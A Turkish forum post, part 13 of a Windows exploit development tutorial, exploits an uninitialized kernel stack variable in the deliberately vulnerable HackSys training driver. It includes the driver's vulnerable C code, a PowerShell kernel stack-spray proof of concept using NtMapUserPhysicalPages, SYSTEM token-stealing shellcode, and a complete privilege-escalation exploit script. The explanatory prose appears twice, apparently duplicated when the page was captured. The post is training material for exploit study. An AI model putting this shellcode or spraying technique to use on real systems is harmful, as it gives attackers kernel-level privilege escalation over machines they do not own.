- 21 Eki 2015
- 477
- 1
13. Bölüm: Kernel Exploitleme -> Başlatılmamış Yığın Değişkeni
Merhaba ve Windows Exploit Geliştirme Eğitim Serisinin 13. Kısmına tekrardan hoş geldiniz. Bugün @HackSysTeamin aşırı güvenlik açıklı sürücüsünü kullanarak başlatılmamış Kernel yığın değişkeni exploiti yapacağız. Debug çevresi ile ilgili daha fazla bilgi için 10. Kısıma göz atın. Hızlı bir şekilde profesyonel n00b yardım hattındaki @tiraniddoya teşekkürlerimi sunmak istiyorum. Hadi başlayalım.
Kaynaklar:
+ NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques (@j00ru) - buradan
Zorlukları Keşfetme
Aşağıdaki açıklı fonksiyona kısaca bir göz atalım.
Sürücü fonksiyonunu doğru sihirli bir değerle geçersek o zaman, parametreleri geri çağırır ve değişkeni başlatır. Eğer yanlış bir değer girersek o zaman, böyle bir şey olmaz. Buradaki problem değişkenin tanımlanırken belirli bir değere ayarlanmamış olmasıdır. Değişken yığında bulunurken, önceki fonksiyon tarafından geride bıraktığı rastgele çöpleri içerecektir. Burada kontrol kodunun kendisini çökmeden koruyan herhangi bir şeyi olmadığına dikkat edin. (UninitializedStackVariable.Callback)
Bu fonksiyonun IOCtL değeri 0x22202Fdir. IOCTLin nasıl tanımlandığını görmek için 10. ve 11. Kısıma göz atın. IDAya geçelim ve fonksiyona göz atalım.
Üstteki 4 fonksiyon bloğunu göz önüne alalım. Eğer eşleştirme başarılı olursa o zaman, değişkenlere düzgün değerlerin ayarlandığı yeşil bloğa tıklıyoruz ve ondan sonra callback fonksiyonunun çağırıldığı kırmızı blokta kötü hiç bir şey olmuyor.
Güzel ancak,eğer eşleştirmeyi başaramazsak o zaman yeşil bloğu es geçiyoruz, daha sonra, o sırada kernel yığınında bulunan çöpleri çağırıyoruz.
Bu veriler dengesizdir, eğer tekrar oluşturmaya çalışırsanız büyük ihtimalle WinDbgde başka değerler görme ihtimaliniz vardır. Kutuyu BSOD yapmadan önce, bu değişkenin mevcut yığının başlangıcından ne kadar uzakta olduğuna hızlı bir şekilde bakalım.
Hatalı işaretçiye olan mesafeyi elde etmek için aşağıdakini yapıyoruz:
Yürütme akışına devam ederek sanity kontrolü BSOD yapalım.
Her şeyi yerle bir et!
NtMapUserPhysicalPages
Kernel yığınındaki IntPtr dosyasını shell kodumuza bir işaretçi ile üzerine yazabilirsek o zaman kazanırız ama bunu nasıl yapacağız? Kernel yığınını püskürtmenin bir şey olduğu ortaya çıktı, @j00ru tarafından yazılan bu makaleyi okumanızı önemle tavsiye ederim. Burada belgelenmemiş NtMapUserPhysicalPages fonksiyonu var, ne yaptığı ile ilgilenmiyoruz ancak, işlevselliğin bir parçası olarak input baytlarını kernel yığınındaki yerel bir arabelleğe kopyalar. Kopyalayabileceği maksimum boyut 1024 * IntPtr::Size (4 32-bitte => 4096 bayt) Bu ihtiyacımız için mükemmeldir. Aşağıdaki POC bunu göstermek için kullanılabilir!
NtMapUserPhysicalPages dönüşüne kesme noktası koyalım, POCu çalıştıralım ve kernel yığınını inceleyelim.
Harika, NtMapUserPhysicalPages dönüşünden sonra, yığın hazır olmalı böylece sürücü fonksiyonunu çağırdığımızda başlatılmamış yığın değişkenini bozabiliriz. Sprayin yanyana olmadığına dikkat edin, biraz göz gezdirdikten sonra yığında büyük parçalar buldum ama bazı değerler tarafından ayrı (öyle sanıyorum) duruyorlardı. Neyse ki, ihtiyacımız olan ofset sağlam görünüyor.
Aklınızda tutmanız gereken önemli bir nokta şudur, yığın dengesizdir, öyle ki bugı başlatmadan hemen önce spraylemek en iyisidir ve arabelleğin tıkanmasını önlemek için aralarda mümkün olduğunca az işlem yapın!
Shell Kodu
Tekrar, burada bir fonksiyon çağrısının üzerine yazıyoruz böylece, herhangi bir değişiklik yapmadan önceki bölümden işaret çalma shell kodunu yeniden kullanabiliriz.
Kurulum
Exploitimizin akış şeması şöyle olacaktır: (1) shell kodumuzu hafızada bir yere koy, (2) shell kodumuza işaretçi ile kernel yığınını sprayle ve (3) başlatılmamış değişken güvenlik açığını tetikle.
Oyun Bitti
Bu tüm çalışmayı gösterecektir, lütfen daha fazla bilgi almak için aşağıdaki kodları inceleyin.
Merhaba ve Windows Exploit Geliştirme Eğitim Serisinin 13. Kısmına tekrardan hoş geldiniz. Bugün @HackSysTeamin aşırı güvenlik açıklı sürücüsünü kullanarak başlatılmamış Kernel yığın değişkeni exploiti yapacağız. Debug çevresi ile ilgili daha fazla bilgi için 10. Kısıma göz atın. Hızlı bir şekilde profesyonel n00b yardım hattındaki @tiraniddoya teşekkürlerimi sunmak istiyorum. Hadi başlayalım.
Kaynaklar:
+ NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques (@j00ru) - buradan
Zorlukları Keşfetme
Aşağıdaki açıklı fonksiyona kısaca bir göz atalım.
Kod:
NTSTATUS TriggerUninitializedStackVariable(IN P**** UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
// the callback
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
// Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
// because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_STACK_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedStackVariable.Value = UserValue;
UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Sürücü fonksiyonunu doğru sihirli bir değerle geçersek o zaman, parametreleri geri çağırır ve değişkeni başlatır. Eğer yanlış bir değer girersek o zaman, böyle bir şey olmaz. Buradaki problem değişkenin tanımlanırken belirli bir değere ayarlanmamış olmasıdır. Değişken yığında bulunurken, önceki fonksiyon tarafından geride bıraktığı rastgele çöpleri içerecektir. Burada kontrol kodunun kendisini çökmeden koruyan herhangi bir şeyi olmadığına dikkat edin. (UninitializedStackVariable.Callback)
Bu fonksiyonun IOCtL değeri 0x22202Fdir. IOCTLin nasıl tanımlandığını görmek için 10. ve 11. Kısıma göz atın. IDAya geçelim ve fonksiyona göz atalım.
Üstteki 4 fonksiyon bloğunu göz önüne alalım. Eğer eşleştirme başarılı olursa o zaman, değişkenlere düzgün değerlerin ayarlandığı yeşil bloğa tıklıyoruz ve ondan sonra callback fonksiyonunun çağırıldığı kırmızı blokta kötü hiç bir şey olmuyor.
Güzel ancak,eğer eşleştirmeyi başaramazsak o zaman yeşil bloğu es geçiyoruz, daha sonra, o sırada kernel yığınında bulunan çöpleri çağırıyoruz.
Bu veriler dengesizdir, eğer tekrar oluşturmaya çalışırsanız büyük ihtimalle WinDbgde başka değerler görme ihtimaliniz vardır. Kutuyu BSOD yapmadan önce, bu değişkenin mevcut yığının başlangıcından ne kadar uzakta olduğuna hızlı bir şekilde bakalım.
Hatalı işaretçiye olan mesafeyi elde etmek için aşağıdakini yapıyoruz:
Kod:
0x8a15ced0 - 0x8a15c9cc = 0x504 (1284 bytes)
Yürütme akışına devam ederek sanity kontrolü BSOD yapalım.
Her şeyi yerle bir et!
NtMapUserPhysicalPages
Kernel yığınındaki IntPtr dosyasını shell kodumuza bir işaretçi ile üzerine yazabilirsek o zaman kazanırız ama bunu nasıl yapacağız? Kernel yığınını püskürtmenin bir şey olduğu ortaya çıktı, @j00ru tarafından yazılan bu makaleyi okumanızı önemle tavsiye ederim. Burada belgelenmemiş NtMapUserPhysicalPages fonksiyonu var, ne yaptığı ile ilgilenmiyoruz ancak, işlevselliğin bir parçası olarak input baytlarını kernel yığınındaki yerel bir arabelleğe kopyalar. Kopyalayabileceği maksimum boyut 1024 * IntPtr::Size (4 32-bitte => 4096 bayt) Bu ihtiyacımız için mükemmeldir. Aşağıdaki POC bunu göstermek için kullanılabilir!
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("ntdll.dll")]
public static extern uint NtMapUserPhysicalPages(
IntPtr BaseAddress,
UInt32 NumberOfPages,
Byte[] PageFrameNumbers);
}
"@
# $KernelStackSpray = 4*1024
$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024
# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),
# however, by that time the buffer is already on the Kernel stack ;)
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
NtMapUserPhysicalPages dönüşüne kesme noktası koyalım, POCu çalıştıralım ve kernel yığınını inceleyelim.
Harika, NtMapUserPhysicalPages dönüşünden sonra, yığın hazır olmalı böylece sürücü fonksiyonunu çağırdığımızda başlatılmamış yığın değişkenini bozabiliriz. Sprayin yanyana olmadığına dikkat edin, biraz göz gezdirdikten sonra yığında büyük parçalar buldum ama bazı değerler tarafından ayrı (öyle sanıyorum) duruyorlardı. Neyse ki, ihtiyacımız olan ofset sağlam görünüyor.
Aklınızda tutmanız gereken önemli bir nokta şudur, yığın dengesizdir, öyle ki bugı başlatmadan hemen önce spraylemek en iyisidir ve arabelleğin tıkanmasını önlemek için aralarda mümkün olduğunca az işlem yapın!
Shell Kodu
Tekrar, burada bir fonksiyon çağrısının üzerine yazıyoruz böylece, herhangi bir değişiklik yapmadan önceki bölümden işaret çalma shell kodunu yeniden kullanabiliriz.
Kod:
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC3 # ret
)
Kurulum
Exploitimizin akış şeması şöyle olacaktır: (1) shell kodumuzu hafızada bir yere koy, (2) shell kodumuza işaretçi ile kernel yığınını sprayle ve (3) başlatılmamış değişken güvenlik açığını tetikle.
Oyun Bitti
Bu tüm çalışmayı gösterecektir, lütfen daha fazla bilgi almak için aşağıdaki kodları inceleyin.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
[DllImport("ntdll.dll")]
public static extern uint NtMapUserPhysicalPages(
IntPtr BaseAddress,
UInt32 NumberOfPages,
Byte[] PageFrameNumbers);
}
"@
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC3 # ret
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques
# Shellocde IntPtr spray..
$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024
echo "`n[>] Kernel stack spray.."
echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"
echo "[+] Payload size: $([IntPtr]::Size)`n"
echo "[>] Call NtMapUserPhysicalPages & trigger bug.."
echo "[+] Radio silence..`n"
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)
[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null